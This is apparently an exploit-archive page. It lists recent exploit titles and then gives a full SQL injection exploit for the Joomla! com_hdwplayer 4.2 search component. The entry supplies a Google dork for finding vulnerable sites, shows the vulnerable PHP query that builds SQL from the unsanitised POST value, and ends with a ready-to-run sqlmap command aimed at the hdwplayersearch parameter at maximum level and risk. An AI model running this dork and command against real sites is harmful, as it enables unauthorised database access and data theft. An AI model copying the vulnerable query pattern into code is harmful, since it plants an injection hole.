b84d953124
10 changes to exploits/shellcodes ProficySCADA for iOS 5.0.25920 - 'Password' Denial of Service (PoC) Google Chrome 80.0.3987.87 - Heap-Corruption Remote Denial of Service (PoC) CyberArk PSMP 10.9.1 - Policy Restriction Bypass PHPMailer < 5.2.18 - Remote Code Execution (Bash) FIBARO System Home Center 5.021 - Remote File Include rConfig 3.9.4 - 'search.crud.php' Remote Command Injection Joomla! com_hdwplayer 4.2 - 'search.php' SQL Injection Windows\x86 - Null-Free WinExec Calc.exe Shellcode (195 bytes) Windows\x64 - Dynamic MessageBoxA or MessageBoxW PEB & Import Table Method Shellcode (232 bytes) Windows/x86 - Null-Free WinExec Calc.exe Shellcode (195 bytes) Windows/x64 - Dynamic MessageBoxA or MessageBoxW PEB & Import Table Method Shellcode (232 bytes) Linux\x86 - 'reboot' polymorphic Shellcode (26 bytes)
36 lines
No EOL
1.5 KiB
Text
36 lines
No EOL
1.5 KiB
Text
# Exploit Title: Joomla! com_hdwplayer 4.2 - 'search.php' SQL Injection
|
|
# Dork: inurl:"index.php?option=com_hdwplayer"
|
|
# Date: 2020-03-23
|
|
# Exploit Author: qw3rTyTy
|
|
# Vendor Homepage: https://www.hdwplayer.com/
|
|
# Software Link: https://www.hdwplayer.com/download/
|
|
# Version: 4.2
|
|
# Tested on: Debian/Nginx/Joomla! 3.9.11
|
|
|
|
##########################################################################
|
|
#Vulnerability details
|
|
##########################################################################
|
|
File: components/com_hdwplayer/models/search.php
|
|
Func: HdwplayerModelSearch::getsearch
|
|
Line: 33
|
|
|
|
16 class HdwplayerModelSearch extends HdwplayerModel {
|
|
...snip...
|
|
30 function getsearch() {
|
|
31 $db = JFactory::getDBO();
|
|
32 $search = JRequest::getVar('hdwplayersearch', '', 'post', 'string');
|
|
33 $query = "SELECT * FROM #__hdwplayer_videos WHERE published=1 AND (title LIKE '%$search%' OR category LIKE '%$search%' OR tags LIKE '%$search%')"; //!!!
|
|
34
|
|
35 $db->setQuery($query);
|
|
36 $output = $db->loadObjectList();
|
|
37 return($output);
|
|
38 }
|
|
39
|
|
40 }
|
|
41
|
|
42 ?>
|
|
|
|
##########################################################################
|
|
#PoC
|
|
##########################################################################
|
|
$> python ./sqlmap.py -u "http://127.0.0.1/joomla/index.php" --method=POST --random-agent --data "option=com_hdwplayer&view=search&hdwplayersearch=xxx" --level=5 --risk=3 --dbms=mysql -p hdwplayersearch |